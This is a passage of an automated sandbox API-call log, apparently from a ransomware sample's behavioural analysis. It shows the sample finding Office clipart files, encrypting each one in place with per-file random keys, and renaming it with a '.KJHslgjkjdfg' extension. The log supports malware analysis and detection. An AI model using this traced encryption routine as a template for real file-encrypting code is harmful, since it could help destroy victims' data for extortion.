liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0153.964] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0153.964] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.964] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.964] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.964] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1d74, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1d74, lpOverlapped=0x0) returned 1 [0153.965] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1d80, dwBufLen=0x1d80 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1d80) returned 1 [0153.966] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.966] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1d80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1d80, lpOverlapped=0x0) returned 1 [0153.966] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.966] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1e54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.966] SetEndOfFile (hFile=0x114) returned 1 [0153.969] GetProcessHeap () returned 0x2a0000 [0153.969] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0153.969] GetProcessHeap () returned 0x2a0000 [0153.969] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0153.969] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf.kjhslgjkjdfg")) returned 1 [0153.971] CloseHandle (hObject=0x114) returned 1 [0153.971] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec9bd00, ftCreationTime.dwHighDateTime=0x1bd4bea, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcec9bd00, ftLastWriteTime.dwHighDateTime=0x1bd4bea, nFileSizeHigh=0x0, nFileSizeLow=0x19e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN02559_.WMF", cAlternateFileName="")) returned 1 [0153.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0153.971] GetProcessHeap () returned 0x2a0000 [0153.971] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0153.972] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0153.972] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0153.972] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0153.974] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.974] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.974] GetProcessHeap () returned 0x2a0000 [0153.974] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0153.975] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0153.975] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.975] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0153.975] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0153.975] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0153.975] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0153.975] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0153.975] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0153.975] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.975] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.975] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.975] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x19e8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x19e8, lpOverlapped=0x0) returned 1 [0153.977] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x19f0, dwBufLen=0x19f0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x19f0) returned 1 [0153.977] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.977] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x19f0, lpOverlapped=0x0) returned 1 [0153.977] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.977] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1ac4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.977] SetEndOfFile (hFile=0x114) returned 1 [0153.980] GetProcessHeap () returned 0x2a0000 [0153.980] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0153.980] GetProcessHeap () returned 0x2a0000 [0153.980] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0153.980] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf.kjhslgjkjdfg")) returned 1 [0153.981] CloseHandle (hObject=0x114) returned 1 [0153.982] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b6bc300, ftCreationTime.dwHighDateTime=0x1bd4c00, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b6bc300, ftLastWriteTime.dwHighDateTime=0x1bd4c00, nFileSizeHigh=0x0, nFileSizeLow=0x83c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN02724_.WMF", cAlternateFileName="")) returned 1 [0153.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0153.983] GetProcessHeap () returned 0x2a0000 [0153.983] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0153.983] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0153.983] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0153.983] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0153.986] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.986] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.986] GetProcessHeap () returned 0x2a0000 [0153.986] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0153.986] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0153.986] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.986] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0153.986] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0153.986] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0153.986] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0153.987] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0153.987] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0153.987] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.987] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.987] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.987] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x83c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x83c, lpOverlapped=0x0) returned 1 [0153.987] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x840, dwBufLen=0x840 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x840) returned 1 [0153.987] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.987] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x840, lpOverlapped=0x0) returned 1 [0153.987] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.987] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x914, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.987] SetEndOfFile (hFile=0x114) returned 1 [0153.990] GetProcessHeap () returned 0x2a0000 [0153.990] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0153.990] GetProcessHeap () returned 0x2a0000 [0153.990] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0153.990] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf.kjhslgjkjdfg")) returned 1 [0153.994] CloseHandle (hObject=0x114) returned 1 [0153.994] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c87b100, ftCreationTime.dwHighDateTime=0x1bd4c18, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c87b100, ftLastWriteTime.dwHighDateTime=0x1bd4c18, nFileSizeHigh=0x0, nFileSizeLow=0x2418, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN03500_.WMF", cAlternateFileName="")) returned 1 [0153.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0153.995] GetProcessHeap () returned 0x2a0000 [0153.995] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0153.995] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0153.995] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0153.995] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0153.997] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.997] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.997] GetProcessHeap () returned 0x2a0000 [0153.997] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0153.997] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0153.997] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.998] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0153.998] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0153.998] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0153.998] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0153.998] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0153.998] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0153.998] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.998] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.998] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.998] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2418, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2418, lpOverlapped=0x0) returned 1 [0154.000] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2420, dwBufLen=0x2420 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2420) returned 1 [0154.000] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.000] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2420, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2420, lpOverlapped=0x0) returned 1 [0154.001] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.001] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x24f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.001] SetEndOfFile (hFile=0x114) returned 1 [0154.004] GetProcessHeap () returned 0x2a0000 [0154.004] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0154.004] GetProcessHeap () returned 0x2a0000 [0154.004] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0154.004] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf.kjhslgjkjdfg")) returned 1 [0154.005] CloseHandle (hObject=0x114) returned 1 [0154.005] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x928, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN04108_.WMF", cAlternateFileName="")) returned 1 [0154.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0154.006] GetProcessHeap () returned 0x2a0000 [0154.006] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0154.006] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0154.006] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0154.006] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.014] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.014] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.014] GetProcessHeap () returned 0x2a0000 [0154.014] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0154.014] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0154.014] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.014] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0154.015] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.015] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0154.015] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0154.015] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0154.015] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.015] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.015] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.015] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.015] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x928, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x928, lpOverlapped=0x0) returned 1 [0154.015] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x930, dwBufLen=0x930 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x930) returned 1 [0154.015] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.016] 